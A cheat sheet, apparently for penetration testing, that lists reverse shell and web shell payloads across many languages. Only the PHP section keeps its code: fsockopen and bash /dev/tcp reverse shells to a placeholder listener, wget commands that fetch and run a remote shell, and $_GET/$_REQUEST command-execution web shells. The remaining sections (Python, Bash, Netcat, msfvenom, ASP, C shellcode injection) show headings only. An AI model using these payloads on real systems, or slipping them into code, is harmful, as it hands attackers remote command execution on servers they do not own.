Reverse shells
This document compiles various reverse shell and payload snippets across different programming languages and tools, useful for penetration testing and security exercises. Remember to replace IP_ADDRESS and PORT with your actual listener IP and port.
PHP Shells
These PHP snippets can be used for establishing reverse shells.
<?php $sock = fsockopen("IP_ADDRESS",PORT); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
```php
<?php system("whoami; wget http://IP_ADDRESS/shell; chmod +x shell; ./shell"); ?>
```php
<?php system("/usr/bin/wget http://IP_ADDRESS/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?>
```php
<?php -r '$sock=fsockopen("IP_ADDRESS",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' ?>
```php
<?php echo system($_REQUEST['cmd']); ?>
```php
<?php echo shell_exec($_GET['cmd']); ?>
```php
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/IP_Address/PORT 0>&1'"); ?>
```php
<?php $output = 'bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1';echo "<pre>$output</pre>"; ?>Metasploit PHP Meterpreter
Use msfvenom to generate a PHP meterpreter payload.
Python Reverse Shells
Python scripts for reverse shell connections.
Command Execution - SSTI (Server-Side Template Injection)
Bash Reverse Shells
Various Bash commands for reverse shells.
Named Pipe Method
Powershell Reverse Shells
Powershell commands for Windows reverse shells.
Base64 Encoding your payload
Serialize your payload (using ysoserial.net)
Netcat Reverse Shells
Netcat is a versatile tool for network connections.
Named Pipe Method
Direct Connection
FIFO Method
UDP Netcat Reverse Shell
Attacker Listener for UDP
Perl Reverse Shell
Ruby Reverse Shells
Ruby Reverse Shell For Windows
Java Reverse Shells
Java Reverse Shell 2
Node.js Reverse Shells
Alternative Node.js Payloads
CGI Reverse Shell (Perl)
This is a more elaborate Perl CGI script that acts as a reverse shell.
MSFVenom Payloads
These are common Metasploit payloads for Windows and Linux.
Windows x64 Staged Payloads
Windows x64 Stageless Payloads
Windows x86 Staged Payloads
Windows x86 Stageless Payloads
Note: To search for payloads: msfvenom --list payloads | grep <language> To search for formats: msfvenom --list formats | grep <language>
Linux x64 Staged Payloads
Linux x64 Stageless Payloads
Linux x86 Staged Payloads
Linux x86 Stageless Payloads
ASP Web Shells
ASP (Active Server Pages) code for web shells.
ASP Web Shell (with form)
ASP Web Shell 2
ASPX Web Shell
ASPX (Active Server Pages .NET) code for web shells.
C Reverse Shell
A basic C program for a reverse shell.
C Program to Inject BIND TCP Shellcode into Running Process
(Note: This is an advanced technique for process injection, often requiring specific permissions and knowledge of the target process.)
Last updated